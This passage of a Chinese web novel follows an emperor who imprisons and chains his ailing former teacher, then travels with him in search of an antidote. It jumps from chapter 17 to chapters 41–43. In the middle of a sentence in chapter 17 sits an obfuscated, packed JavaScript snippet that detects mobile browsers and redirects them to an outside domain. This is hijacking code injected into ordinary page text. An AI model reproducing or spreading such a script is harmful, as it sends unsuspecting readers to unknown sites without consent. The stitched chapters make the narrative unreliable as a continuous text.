宿泱看见林怀玉眼底的那抹倦色,心脏没来由地猛跳了一下,这份心悸令他有些慌乱,他连忙抓住林怀玉,道:“你又要放弃朕了,是吗?你又不要朕了,要抛弃朕?” 林怀玉挣扎着手,烦闷道:“放开我。” “不放!”宿泱执拗地抓着林怀玉,始终不让对方逃离自己的怀里。 林怀玉累得挣扎,便卸了力道,左右他也挣扎不过宿泱:“宿泱,封后诏令既出,日后白姑娘便是要伴你一生的人,你需得好好待人家,莫要像对我这般……” 林怀玉说着便止了话头,他如何能同白见青做比?白见青是宿泱爱慕之人,而他不过是宿泱想要羞辱的人,宿泱又怎么会像对他一样对待白见青呢? 他没再说话,宿泱的脸色却又沉了下来,仿佛乌云密布,眨眼间雷雨闪电一并落下,直要劈得林怀玉满身渣。 宿泱直起身子,怒不可遏:“说来说去,你还是在意白见青,林怀玉,你这么在意她,封后大典要怎么面对她呢?” 林怀玉正要开口,宿泱又打断了他:“朕改主意了,朕不要你去封后大典了,朕可不想看你和白见青在朕面前眉来眼去!” 说完,他一点也不给林怀玉开口的机会,将人打横抱了起来,朝着御书房走去。 宫道上有不少打扫的宫人,所幸他们不敢直视天子,纷纷跪下垂首,没人看到天子怀里究竟抱的是谁,只隐约在跪下前瞥见一身宽大的龙纹锦袍。 嘶!究竟是什么人,竟然能够穿着陛下的衣袍! 没人猜得到。 林怀玉被宿泱抱进了御书房,这个地方他来过许多次,当初为宿泱求情时,他也是跪在御书房的外面,漫天大雪落在他的身上,如今却是这幅模样再度踏入这里。 只是宿泱进了御书房也没有将他放下的打算,林怀玉心底突然升起一丝不好的预感。 只见宿泱在自己座位的椅子上按了一下,那御书房的一面书柜竟缓缓从当中向两边移开,露出一条暗室通道。 林怀玉不禁有些心惊,他在此处多时,宿泱成为天子之后,他也曾时常进入御书房,却从来不知这里竟然还有一间暗室。 只是暗室并不算大,只有御书房一半的空间,林怀玉被宿泱扔在角落的石床上,凉意瞬间穿透衣袍爬上林怀玉的身子。 随后,他听见宿泱语气冰冷:“老师就待在这里,什么时候知错了,朕便放你出去。” 17.第 17 章 昏暗狭小的房间里没有一丝光亮,没有窗户,没有烛火,一点光也进不来,伸手不见五指。 年幼的林怀玉穿着一身破破烂烂的衣服,甚至没有缝补,灰扑扑的衣服有些发白,显然洗了又穿已经洗到快烂了。 而小小的糯米团子似的人,缩在角落里,紧紧抱着自己,贴着墙角,仿佛这样能给他带来安全感。 屋子里一个人也没有,不,准确的来说,屋子里有三个人,除了他以外,还有两具尸体。 林怀玉的眼睛恐怕是屋子里唯一的光亮。 他盯着屋子中央躺着的两具尸体,将自己抱得更紧。 那明明是他的爹娘,可他却害怕他们似的,连靠近都不敢,都已经死了,林怀玉的脸上却没有悲痛,只有恐惧。 他已经被关在这里两天了,和那两具尸体一起,起初他被绑着,没法动弹,后来解开了绳子,可房门被封死了,他出不去。 黑暗将林怀玉包裹着,一点点蚕食,吞噬。 正如此刻。 暗室里照不见一丝光亮,也没有多余的声音,那铁链的碰撞声便显得格外清脆,直击林怀玉的心脏。 暗室的角落里,那张冰冷的是床上跪着一道纤瘦的人影,他身上没有一件衣物,整个人被吊了起来,双手被铁链捆住高高吊起,整个上身拔了起来,而双膝只能跪在石床上,双腿也被铁链锁住。 他轻微的动作都会引起铁链碰撞的声音,轻而易举地将他从梦中唤醒。 林怀玉其实也睡不着,他的意识却有些模糊,倒不是因为困意,而是精神有些小问题。 许是年幼时的那场噩梦,他如今对这种黑暗狭小的空间存在着心理上的恐惧,这种恐惧并没有因为时间的推移而消失,反而在暗室的门合上的那一瞬间,冲到了顶峰。 幼时那段快要被他遗忘的记忆如同潮水涌了出来,那段梦魇般的存在,令此刻的林怀玉整个人都颤抖了起来。 石床的冰冷渗入他的骨髓,膝盖又开始发麻,他一阵又一阵地咳嗽了起来。 从一声一声的轻咳变成了撕心裂肺的咳嗽,林怀玉也不知道自己究竟被囚了多久。 意识混乱又模糊,喉咙里有血腥味逐渐蔓延,他下意识想要将那鲜血咽下去,可压了几次之后,再也没用,那鲜血不受控地从林怀玉口中涌了出来。 空气中满是鲜血的味道,林怀玉闭着眼,无奈地任由鲜血从口中溢出。 他想起周历那日把脉对他说的话—— “若是有一日大人吐了血,那便是药石罔效了。” 林怀玉无奈地笑了一声,在这狭小安静的房间里显得那样清晰又突兀。 这一天还是到了,虽然他早有预料,可真的到来,还是令他有些不知滋味。 可这会儿,林怀玉也没有太多的心思放在这上面,恐惧还在心底蔓延,他挣扎着想要解开手上的锁链,可最终只是将腕上的皮肤擦破红肿,徒劳无功。 时间一点一点流逝,在林怀玉这儿却变得无比漫长,每一次呼吸都被拉长,他的意识被恐惧占据,被黑暗淹没,黑暗中看不到他那原本就苍白的面容此刻宛若白纸。 他快坚持不下去了…… 也不知过了多久,那暗室的门终于缓缓打开,光亮从缝隙中争先恐后地涌了进来,将角落里的林怀玉照亮。 宿泱的目光准确无误地落在林怀玉的身上,可在看到林怀玉狼狈虚弱的模样,又闻到了空气中传来的浓郁的血腥味后,脸色骤变。 他点亮了暗室中的烛火,快步走到了林怀玉的面前,只见林怀玉的身前那一滩殷红的血迹刺痛他的双眸。 还有林怀玉唇角蜿蜒而下的鲜血。 他的心突然跳得很快,快到要从胸膛跃出来,宿泱这会儿连林怀玉这副勾人夺魄的模样也顾不上欣赏,迅速解开了锁链,将奄奄一息的人抱了出去。 德福原本守在御书房门口,见宿泱急匆匆地冲了出来,脸色也是一变,连忙跟着上去,只听见宿泱焦急的声音冲着他吩咐:“去请太医!” 德福不敢耽搁,连忙应声朝着太医院而去。 宿泱将林怀玉小心地放在沁春宫的床榻上,替他套了件外袍,还盖好了被子,眸光落在了林怀玉的手腕上。 林怀玉那双白皙纤细的手腕此刻留着一道道红痕,那痕迹已经将皮肤擦肿,破皮的地方渗出了鲜血,一副被凌.虐过的模样。 宿泱握住了林怀玉的手腕,绕开了对方擦伤的地方,轻轻揉了起来。 一边又忍不住嘟囔:“朕不过是罚你在那里面跪了一会儿,怎么就成这个模样了?” 林怀玉没能回答他。 很快周历便跟着德福到了沁春宫,他以为这次应该也只是风寒一些小问题,倒是没像之前那般提心吊胆了,随即在看到林怀玉气若游丝的模样,顿时那颗心又被提到了嗓子眼。 按照他调养的方子来说,林怀玉至少能撑一年,这才两个月,怎么就变成这样了呢? 周历小心翼翼地瞥向了床沿坐着的宿泱。 宿泱接收到他的目光,也瞥了过去:“来看看他怎么回事。” 周历连忙应了一声,上前给林怀玉把脉。 许久,宿泱见周历迟迟没反应,忍不住问道:“如何了?” 周历这才松了手,神色却格外凝重:“回陛下,林大人脉象十分混乱且虚弱,常年的身体亏空且不说,似乎刚刚经历了一场令他心悸之事,惊吓到了林大人,导致林大人旧疾复发……” 周历挑了一些能说的说给宿泱听。 宿泱垂眸,看着床上脸色苍白的人,低声道:“旧疾复发……这么严重吗?怎么会吐血?” 闻言,周历的脸色猛的一变:“林大人吐血了?!” 宿泱眉头一挑,审视着周历:“你这么激动做什么?” 周历也反应过来自己似乎有些过于激动了,若是引起陛下的怀疑,迫使他说出林大人命不久矣的真相,他一家老小可就保不住了啊! 周历连忙道:“吐血非同小可,林大人本就身子弱,吐血亏空,需得好好将养才是。” 宿泱半信半疑,重新将目光放到林怀玉身上,又问:“朕知道老师向来身子弱,你给他开方子吧,朕会督促他喝药的。” 周历连忙应了,心底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629124|171616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却默默道,林大人如今这般,喝药也无用了,无力回天啊。 周历和德福离开,宿泱看着林怀玉,不禁道:“朕就知道没什么事,你就是在吓唬朕,想让朕把你放出来,想让朕放你出宫,你总是有很多种手段想要离开朕,林怀玉,朕不会信的,无论如何,你都不可能离开朕。” 他一边说着,似乎在说给林怀玉听,又似乎在说给自己听,一边又拿出治外伤的药膏,将林怀玉的手从被子里拿出来,轻轻将药涂抹在林怀玉的手腕上。 宿泱将林怀玉的两只手都涂上了药,又用纱布小心包好,重新塞回被子里。 做完这些,宿泱并没有离开,而是坐在床边沉沉地望着林怀玉,他看着林怀玉微弱的呼吸,轻轻起伏的胸膛,半晌又道:“你吓到朕了,林怀玉,你得逞了,等你醒过来,朕要你知道后果。” 林怀玉再醒来已经是第二日了,他转头便看到宿泱趴在床沿,身上的朝服都未曾换下,眸光微顿。 可昨日的记忆又在提醒他,眼前这人有多可恶。 他动了动,发觉自己的掌心被宿泱牵着,迅速将手抽了回来,却也惊动了小憩的宿泱。 宿泱看着已经醒过来的林怀玉,对方眼底的淡漠和清明都在告诉他,林怀玉根本没事,不过是手上破了点皮,体弱吐了点血。 周历也说了,好好养养就行。 老师的身体一向如此。 “老师果真是足智多谋,朕险些忘了你有多少手段了,苦肉计唱得真是炉火纯青,又要让朕放你出宫吗?”宿泱看着林怀玉转过头连看他一眼都不想看的模样,心底又是一阵酸涩,不禁出言嘲讽。 林怀玉没有理会宿泱,眸光倒是瞥见了一旁衣架子上挂着的一身华丽婚服。 是男子的款式。 林怀玉眸光一顿,嗓音微哑:“陛下的婚服做好了?” 闻言,宿泱轻笑了一声,走到了衣架子旁边,他摸着那件繁复的婚服,似乎十分满意:“是啊,老师觉得如何呢?” 林怀玉并没有回答宿泱这个问题,而是又认真地问了一遍宿泱:“陛下是真心喜欢白姑娘,真心要娶她为后吗?” 宿泱唇畔的笑因为林怀玉的一句话便落了下去,他回身走到林怀玉的床边,居高临下地望着对方:“老师一出来就问朕这个,看样子老师很在意朕立后,那为什么还是要离开朕呢?” 林怀玉却只是轻轻摇头:“若陛下真心喜欢白姑娘,就该好好对她。” 宿泱见状,冷声道:“是!朕就是喜欢白见青,朕就是要娶她做朕的皇后,林怀玉,你有什么资格跟朕交代如何对待她?你不过就是朕的一个禁.脔而已,摆清你如今的身份。” 林怀玉没再说话,他和宿泱之间,彻底无话可说了。 宿泱见林怀玉怎么都不肯再和他多说一句,气得拂袖而去。 林怀玉望着对方墨龙锦袍的背影,修长的身姿托起帝王的威严。 林怀玉轻轻叹息。 他撑着身子从床上起来,等宿泱走远,从书桌下的抽屉里取出一封早已写好的信,出了沁春宫。 他也是时候离开了。 40-50 第41章 第 41 章 他真的不想再承受一次了…… 江南的雨终于停了, 日头也变得没那么猛烈,只是风吹在身上仍旧卷起一阵火热。 林宅的池塘里荷花盛开,蜻蜓掠过, 一两只落在荷叶上,点缀上满池的荷。 林怀玉仍旧躺在那躺椅上, 他的手似是没什么力气, 垂在身侧,露出那一截雪白的手腕, 上面却被刀痕破坏。 何清沥一直守着林怀玉,自从林怀玉吐血之后他便一直在给林怀玉施针,灌药, 等终于把血止住, 林怀玉也脱力地睡了过去。 只是这一睡便到了第二日,林怀玉迷迷糊糊醒了一下, 看见何清沥拿着那些针,被银光晃了晃眼, 只是他没什么力气抬手把那针拨开, 只能道:“晃到我了。” 他声音很轻, 何清沥听着心底一颤, 他将针移开, 一脸愁容地看着林怀玉:“你之前说在等那个能彻底解你毒的人,他还没来吗?” 林怀玉轻轻摇了摇头:“其实……我未必能等到他, 他要找的药引也不一定能找到,所以我说的听命, 是真的。” 何清沥紧紧皱着眉头,仿佛能夹死一只蚊子:“所以你现在就是能拖一天是一天?” 林怀玉神色淡然:“差不多吧。” 何清沥似乎不太甘心,问:“你没联系那个人吗?” 林怀玉看了看天边, 浅笑道:“住持那边没有消息,那就是没有消息。” 何清沥看着没什么精神头的林怀玉,道:“那你怎么办?就这样等死吗?你现在就算是放血引毒也没什么太大的作用了,没必要再放血了,只会让你的身体越来越差。” 林怀玉想了想,道:“那就不放了,我让林飞给住持去了信,若是有旁的办法拖着就拖着,若是没有……便就这样吧。” 何清沥叹息了一声:“先帝这毒也不知道是从何处来的,毒已经进入你的心脉,我探不出来原本的制作材料,也无法配制出解药啊。” 林怀玉一边意识昏沉,一边道:“这药来自大楚,一个古老神秘的部落,只是并不好找,而就算找到了,解药比毒药更难寻。” “你怎么都不跟我说啊?”季无忧的声音突然从不远处传来。 他刚从回廊穿过来,便听见了林怀玉分外虚弱的声音,那人就像一张纸躺在躺椅上,顷刻间就能被风吹走了。 何清沥见他来,眼前一亮,季无忧是大楚的太子,他从小在大楚长大,一定知道那个神秘古老的部落。 何清沥从来没有这么期待季无忧来过。 林怀玉转头看他:“你恐怕并不知道。” 梵尘在大楚这么久都没能找寻到,季无忧才多大,又去过大楚多少地方呢? 季无忧却坚持道:“你说出来我才能知道,你不说我怎么知道?” 林怀玉道:“似乎叫……灵祭族。” 季无忧听完,当即懵了:“这是大楚的吗?我怎么从来没有听过这个族?” 林怀玉也并未失落,毕竟他知道季无忧必定不清楚:“否则,他怎么会找了这么久都没找到呢?” 季无忧连忙道:“无妨!我派人去找!你怎么都不早说,多一个人找多一份希望啊!” 林怀玉摇了摇头:“听梵尘说,灵祭族世代隐居,规矩繁杂,你若是大张旗鼓地去寻,打草惊蛇不说,人家永远不出来了,怎么办?” 季无忧想了想,只好道:“那我派人暗中寻访。” 林怀玉这才放了心,他的眼睛又快闭上了,又听见季无忧抱怨:“林宅外面很多人都传开了,大雍的陛下跪在外面,即便他们不知道宿泱的身份,但是来来往往的人看见了不免好奇,传什么的都有。” 林怀玉一愣,这件事,林飞并没有告诉他,不过他昏迷了两日,林飞也来不及告诉他。 “传什么了?”林怀玉强撑着精神,何清沥趁着他醒着,赶紧端了一碗粥和一碗药过来。 季无忧回忆了一下,道:“其实一开始穿的版本还挺正常,也挺准确的,说林宅门口跪着个男人,定是玉溪先生之前口中说的心上人,只不过这心上人是个负心汉,如今找回来了,玉溪先生不愿理他,他只好在外面跪着恳求先生原谅了。” 林怀玉垂着眼眸,何清沥给他喂粥,他轻笑了一声,又道:“算了。” 季无忧一听,道:“怎么算了?现在已经传成了,玉溪先生久等心上人不归,心上人另娶他人,二人在江南相遇,先生伤心欲绝,心上人只好跪在门前恳求先生不要死。” 林怀玉一边听一边喝完了粥,失笑:“这个版本好像也差不多。” 季无忧犹豫了一下,问:“就让他在门口跪着吗?” 季无忧虽然看不惯宿泱,但怕流言蜚语给林怀玉带来不必要的麻烦,毕竟现在的林怀玉身子不好。 林怀玉摇了摇头:“随他去吧。” 这一次,林怀玉是真的撑不住,又昏睡了过去。 他刚倒下,宿泱便从外面走了进来,看到林怀玉睡着,面色难看,方才的话他都听到了。 果然,林怀玉的毒根本不是何清沥能够解的,那么多的刀伤也不过只能压制毒性,甚至到最后,效果也变得微乎其微。 他走到林怀玉身边,只有这种时候,他才敢这样近的距离靠近林怀玉,他握住林怀玉垂落的手,指腹轻轻摸着林怀玉手臂上的伤口,眼眶微红。 良久,宿泱抬头问何清沥:“找不到解药,他就会死,是吗?” 何清沥看着宿泱的神情,愣住了,曾经那个高高在上,神色阴冷的少年天子,如今竟露出这样慌乱的神色。 他记得他曾经见到还未曾成为天子的宿泱,少年走在宫道里,林怀玉同他并肩而行,二人前一秒正在说着什么,宿泱唇角提着笑意,心情愉悦,转眼似乎看到了他的目光,转头看向他的时候,目光陡然沉了下来,压迫感竟比先帝还要强烈。 何清沥在宿泱蓄着泪水的猩红眼睛中点头。 宿泱又问:“能有多久?” 何清沥知道对方问的是林怀玉还能等多久,他连忙道:“约摸……还能等一个月吧。” 宿泱深深吸了一口,转头又看向季无忧:“你准备什么时候回大楚?” 季无忧眨了眨眼,一愣:“玉溪先生在哪我……嗯?你要去大楚?” 宿泱颔首:“我没那么多时间,老师也等不了太久,我没那么多时间偷偷去大楚,如果你愿意帮我,只要与国事无关,任何条件随你提。” 季无忧抿唇:“真的随我提?” 宿泱看了他一眼,应了一声。 季无忧笑得如同一只狐狸:“那我要玉溪先生!” 宿泱方才碰上季无忧狡黠的目光就猜出了对方的心思,他眸光一冷,道:“你要他,他就愿意吗?这事我可说了不算。” 季无忧扬了扬眉,似乎没想到宿泱会这么说,他笑道:“我开玩笑的,玉溪先生有事我怎么会坐视不管呢?就算你不去,我也是要回去找那个灵祭族的。” 宿泱的心才落了下去:“等他醒来……我同他说吧。” 季无忧去收拾行李了,何清沥也去准备一些林怀玉路上要备的药,院子里只剩下宿泱和林怀玉。 宿泱负手而立,院子里落下一道黑影,他沉着脸,道:“通缉令都撤了,换成寻人启事,找一个叫梵尘的人……不,算了,换成寻找名医高人,只要能治好林怀玉,任何要求都可以向朕提。” 暗卫领了命,立刻消失在院子里。 宿泱转身,重新走回林怀玉身侧,对方仍旧没有醒来,那如画的眉眼无比苍白,明明每日都受着那样的痛苦,却还强撑着什么都不说。 他握着林怀玉的手,深深凝望着昏睡的人。 林怀玉醒来的时候,便对上了宿泱那双痴恋的眼眸,那眼底的心疼如潮水般溢出来。 林怀玉轻咳了一声,宿泱立刻松开了他的手,给他递了杯水。 那人没有给他抬手的机会,直接将水递到了他的唇边,一手还托住了他下颌,只要他张个嘴,水就会落入他口中。 林怀玉确实觉得喉咙干涩,也没什么力气抬手,便就这样喝了水,水流不急,似乎是怕呛着他,宿泱特地缓慢地倒着水,注意着量,没让林怀玉有一点难受。 林怀玉喝完水,看着他,问:“你怎么进来了?” 宿泱冲着林怀玉笑了笑,道:“有力气吗?” 林怀玉看了他一眼,总觉得对方没什么好事:“你要做什么?” 宿泱道:“去大楚。” 林怀玉一愣,宿泱此刻并没有去大楚的任何动力,除了…… “你……都知道了?”林怀玉只能想到这一件事能够让宿泱在此刻想要去大楚。 果然,宿泱点了点头,道:“我听见你和何清沥说的话了,与其坐以待毙,不如……我们自己去一趟大楚。” 林怀玉淡淡道:“我没力气去。” 他不是没想过自己去大楚,毕竟他也不是坐以待毙的性格,只是……他这个状态去不了大楚,恐怕没找到灵祭族,他就先死在半路了。 与其在颠沛流离徒劳挣扎中死去,不如在江南如画的风景里安稳离世。 宿泱何尝不知道林怀玉的想法,他跪在林怀玉的躺椅边上,望着林怀玉艰难地笑着:“那你在这里等我回来,我就是怕……” 他顿了顿,似乎有些不敢说,可又必须要说:“我就是怕你等不到我回来,我不想你死,我已经尝过一次失去你的滋味了,我坚持不了的,但我也怕万一你真的……我又见不了最后……” 最后一面。 泪水终于在此刻落下,宿泱是真的害怕,怕沁春宫大火过后,林怀玉消失不见,上一次,他没见到林怀玉最后一面,这一次,他不愿也不想。 他真的不想再承受一次了。 第42章 第 42 章 你可以试试 夜色悄然而至, 温柔的月光洒在院子里,即便没有灯,也能看清楚院子里的一切。 林怀玉想了想, 答应宿泱去大楚,倒不是真的心软宿泱见不到他最后一面这种说辞, 只是他还没去过大楚, 哪怕找不到解毒的引子,只是去看一眼大楚的风光也好。 原本他懒得动弹, 身上虚弱也经不起长途跋涉,但若是宿泱一块儿,他倒是不用操心路上的事。 林怀玉松了口, 宿泱便也松了心, 他看着林怀玉,道:“我一定不会让你死的。” 林怀玉却并未放在心上:“永和二十一年年我就该死了, 只是我不想死,拖了这么久都是我赚的, 只是宿泱, 你要记住, 你是大雍的天子, 你不是全为自己而活的, 也不是为了某一个人活着的,想想你的子民。” 宿泱没有再驳斥林怀玉, 只道:“只要是你说的,我都听。” 林怀玉面上轻笑, 实则内心清楚,宿泱未必真的听他的话,但也不会全都不听, 能听进去多少,就看宿泱自己了。 “先生!!!!”回廊传来方知许凄厉的呼声,他几乎是飞奔到林怀玉面前,“先生,你终于醒了!” 林怀玉看着小狗似的方知许,忍不住揉了揉对方的头发:“水患的事处理好了?” 方知许点头:“都处理好了,我听说先生醒了,立刻就赶过来了,先生,你没事吧?” 林怀玉看了宿泱一眼,道:“先生打算去一趟大楚。” 方知许眼底虽有些疑惑,但还是道:“那我也去!季无忧是不是要把先生拐走!我得看着他!” 林怀玉知道方知许会想跟着他,但他只能拂了对方的一片好意:“大雍如今虽然安稳,京都蠹虫也都清了不少,但陛下不在京都,只有唐阁老和赵襄宜以及极为老臣看着终究是不够的,先生信得过你,你跟着赵襄宜一块监国吧。” 方知许瞪着眼睛,眼底的光一下就黯了下去:“先生不让我跟着,那万一路上遇到点什么事,没个人怎么办?” 宿泱冷着脸道:“朕自然会照顾好他。” 方知许每次来都拉着林怀玉撒娇,明明他也是老师的学生,他是老师第一个学生,都没这个资格…… 方知许委屈地看着林怀玉,林怀玉摇头,拍了拍方知许的肩:“别任性,你不会武功,一介文弱书生,若是路上有个好歹,我这一年倾囊相授岂不是白费了?” 方知许垂下头,虽然不甘心,但林怀玉说的对,他去了也帮不上什么忙,说不定遇到事了还会给先生拖后腿。 林怀玉见小狗蔫儿了,浅笑着道:“京都任务繁重,这重任就交到你的身上了,先生相信你一定可以做好的。” 方知许闻言,哪里还有不愿意的呢,他连忙道:“我知道了,先生你放心吧,我一定会守护好大雍百姓的。” 林怀玉又忍不住拍了拍他的脑袋,只是这一次拍下去的手落了空,又被宿泱握住,对方将他的手放在身上,道:“身子不好就别做这些费力的动作了。” 他转头又对方知许道:“收拾东西去,明日就启程了。” 方知许敢怒不敢瞪宿泱,只能道:“这么快?!走这么急吗?” 宿泱瞥了方知许一眼,面无表情道:“老师的身子拖不得,多耽搁一日都是危险。” 方知许只能道:“那好吧……先生,那我可走了,明日一早我来给先生送行!” 林怀玉还要说话,宿泱先一步把药递了过来:“老师该喝药了。” 林怀玉的话被堵了回去,淡淡地看了宿泱一眼,对方的心思简直昭然若揭,他轻笑了一声,道:“这药喝着也没什么用,不喝了吧。” 宿泱眉头一拧,哄他:“万一有用呢,能多争取一日一刻都是好的,喝一点好吗?” 林怀玉垂眸,还没说出拒绝的话,对方又不知从哪里掏出来一包纸,里头竟然裹着一只兔子形状的甜点,他又哄着林怀玉道:“老师喝了药,这小兔子就归你了,好吗?”. 竖日一早,林怀玉被宿泱弄醒,也不是宿泱吵的,只是他感觉到自己似乎移动了位置,一睁眼便发现宿泱抱着他上了马车,那马车空间很大,足够让他在里面睡着,宿泱见他醒来,笑着道:“把你吵醒了?我本来想着不吵醒你,直接抱着你上马车,没想到还是把你吵醒了。” 马车里放了冰块,十分凉爽,林怀玉躺在里头倒是觉得分外舒适,便也没有斥责宿泱擅自抱他这回事了,只是揶揄了一下:“你也是心急。” 宿泱接道:“事关老师的性命,我怎么能不急?我恨不得生了翅膀飞到大楚去。” 林怀玉找了个舒适的位置躺好,问:“就我们两个?” 宿泱眉头一挑,以为林怀玉十分遗憾,咬牙道:“是啊,就我们两个,季无忧先行一步回大楚替我们安排事宜去了。” 林怀玉随意地点了点头,又准备睡过去:“那走吧。” 宿泱看着林怀玉,眼底柔和,马车就这样平缓地离开江南小镇。 方知许来给林怀玉送行的时候,林宅早已人去楼空,他望着无人的林宅,大哭:“先生!!!!你怎么都不等等我啊!!!!” 马车走了许久,林怀玉也不知道时间流逝,只知道自己醒来,天还没暗,大抵没睡太久。 他望了一眼天色,从包裹里翻出一把匕首,虽说放血引毒效果并不好了,但不放的话,他能拖的日子更少。 他正打算随意在手臂上划一刀,握着匕首的手腕被人捏住。 林怀玉抬眸:“做什么?” 宿泱看着林怀玉,从他手里接过了匕首,那银光冷冽的匕首倒映出宿泱那双狭长的眼眸:“我来帮你。” 林怀玉不会武,下手没轻没重的,要不是非这么做不可,他也不是很想在自己手臂上划一刀,于是他将手伸到宿泱面前,撇过头不去看自己的手臂:“那你来吧。” 宿泱知道林怀玉怕疼,他另一只手揉了揉林怀玉的手臂,安抚道:“我会轻一点的。” 林怀玉没吭声,也没回过头,手臂上忽的一凉,林怀玉顿时皱起了眉头,轻轻哼了一声,鲜血从他的手臂渗了出来。 他正要咬牙,嘴里忽的被塞了一颗方糖,唇齿蹭过宿泱的指腹,宿泱笑着道:“老师是要把我们的手指咬下来吗?” 林怀玉含着方糖,手臂上的疼痛似乎好受了一些,他没好气道:“就是咬下来又如何,你活该。” 宿泱笑着收了匕首,给林怀玉止血:“是,是我活该。” 林怀玉本就身子虚弱,这会儿又失了血,靠在马车窗子边,任由宿泱动作,一边望着窗外,轻轻“嘶”了一声。 宿泱立刻放轻了动作:“弄疼你了?” 林怀玉只道:“没有。” 宿泱抬头看向林怀玉,对方侧着脸望着外面的风景,眉心却轻轻蹙起,那一双好看的桃花眼里蓄了点泪水,看得人心痒。 宿泱替人包扎完,凑了过去:“不疼了,别哭。” 他从前总想着占有林怀玉,想要将那个冷冽孤傲的人折下枝头,想要弄哭,想要看对方的脸上因他升起别样的神色。 可而今,他只想那人就这么好端端在他面前,他想要林怀玉的唇畔常常挂着那清浅的笑。 林怀玉转头,没曾想对方离他那么近,差点同宿泱撞上,只是心神混乱间,马车突然颠簸了一下,林怀玉失了平衡,直接跌进了对方的怀里。 宿泱立刻便将人扶住,顺势紧紧抱在怀里,仿佛这一瞬间是天赐的恩德,他舍不得松开怀里的人,他希望时间就停在这一刻。 但林怀玉还是很快就离开了宿泱的怀里:“陛下又忘了之前答应过我的。” 宿泱顿时大呼冤枉:“这可是老师自己跌进我怀里的。” 林怀玉不理他,重新坐了回去,又看着外头的风景,他的眼瞳中尽是外面的好山水,许久,他轻声道:“若是有一日,我死了……” 宿泱还没从方才那个抱里脱神,怀中尽是林怀玉身上的药香,陡然听见林怀玉这话,连忙慌乱地打断他:“不许胡说!” 但林怀玉还是继续说了下去:“若是我真的死了,把我葬在一个我不曾去过的地方吧,我喜欢漂亮的地方,山清水秀的,你到时候就把我埋在那里……” 林怀玉的话甚至还没说完,宿泱眼眶已经红得快要哭出来了。 林怀玉转头对上这样一双眼睛,无奈笑道:“堂堂大雍天子,如今胆子怎么这样小?我不过是说了身死之后的事,怎么如此脆弱?” 他望着宿泱,道:“人都是要死的,不过是死个我而已,那京都城里,大内皇宫当时血流成河,也没见你这般,你可是大雍的天子,注定是孤家寡人,宿泱,你有你的责任,明白吗?” 宿泱抿着唇,这会儿却没有反驳林怀玉的话,只是顺着对方的话道:“等你治好了病,解了身上的毒,你说什么我都听,哪怕你要我做个孤家寡人,我也会听。” 林怀玉眼底闪过一丝诧异,他看着宿泱,戏谑道:“你如今倒是肯听我的话了?” 宿泱道:“我自然听,我什么时候都听你的话,什么话都听。” 林怀玉眉梢轻扬,不是很信任他:“真的吗?” 宿泱深深地望着林怀玉:“老师可以试试。” 林怀玉瞥了他一眼,浅笑着道:“既然这样,那就把你的手松开。” 宿泱看了一眼自己方才因为紧张而握住了林怀玉的手腕,他艰难地笑了一下,松开了林怀玉的手。 他在一旁摩挲了一下掌心,垂首有些失落。 他知道他活该,他如今根本不配碰林怀玉,若不是因为他,林怀玉也不会落得如今这般田地,他没有资格去奢求什么,只要林怀玉能解了身上的毒,此刻让他一命换一命又有何妨。 他不敢看林怀玉,眸光只能低低瞥着林怀玉的衣袍,对方身上穿了一件雪白的轻衫,如同在外面覆了一层雪,这样的林怀玉他曾经也见过,但如今林怀玉更加消瘦,那衣袍穿在身上,腰带一扣,腰身一掌便能握住。 这一刻他心底竟然没有任何旖旎的想法,他只是在想,林怀玉被这毒折磨了这么多年,身子才会这样瘦这样轻。 林怀玉还能平心静气地和他坐在一辆马车里,属实已经是顾念曾经在京都的师徒情分了。 他怎么敢,又怎么能再奢求旁的呢? 他正想着,忽的又听到林怀玉轻声道:“你捏得我手疼,那只手上有伤,换一只手吧。” 宿泱顿时抬眸,那漆黑如墨的眼眸中仿佛坠上了一颗极亮的星,眼底有了光亮。 第43章 第 43 章 怀玉,你的心上人是谁?…… 从日出东升到日薄西山, 黄昏的霞光烧了西方半边天,大地都被照成橙红色。 林怀玉又睡了许久,醒来的时候已经是傍晚, 他原本蜷在马车里,这会儿刚一动, 腰间传来一阵酸痛。 他皱着眉头轻哼了一声, 旁边的宿泱立刻靠了过来:“怎么了?哪里难受吗?” 宿泱的语气有些急促,神情也十分严峻, 似乎只要林怀玉说一句不对劲的,他就会立刻为林怀玉赴汤蹈火。 林怀玉撑着身子勉强坐起来,道:“躺了一天, 腰酸。” 马车里终究不比他院子里的躺椅, 即便宿泱在马车里垫了不少软垫,却还是硌着他。 没等他自己去揉自己的腰, 宿泱先一步把他揽进了怀里,林怀玉靠在宿泱的胸膛上, 那人的手探到了他的侧腰上, 低沉的声音在林怀玉的耳边响起:“这里酸?” 林怀玉腰间便传来宿泱轻揉的动作, 他这会儿实在是乏力又难受, 也懒得去管宿泱食言不食言这回事了。 他轻轻摇了摇头:“不是, 旁边一点。” 宿泱听他的话,将手落在林怀玉的腰后侧, 轻轻按着:“这里?” 林怀玉“嗯”了一声,由着宿泱用温和的力道替他缓解腰间的不适。 “都走了一天了, 找个地方休息一下吧。”林怀玉不想躺在马车里了,白天赶路也就罢了,晚上要是继续睡在上面, 他怕是等不到去大楚,先折在马车上了。 宿泱掀起马车上的窗帘,探头看了一眼外面,道:“前面有个小镇,今晚就在那里落脚吧。” 林怀玉点了点头:“好。” 马车进了镇子,宿泱先一步起身,他刚要抱起林怀玉,林怀玉抬眼看他:“我可以自己走。” 宿泱笑了笑,悻悻收回了手,率先下了马车。 林怀玉这才探出身子,宿泱便在下面伸手接他。 二人下了马车,朝着客栈走去。 “小二,来两间上房。”宿泱领着林怀玉走进客栈,柜台的小二看着两个人,眼睛都直了。 他拿出两间客房的牌子递给宿泱,道:“客官,上房五两一间。” 宿泱将银子放在柜台上,道:“再点几道菜。” “好嘞,客官您先坐。”小二收了银子,连忙道。 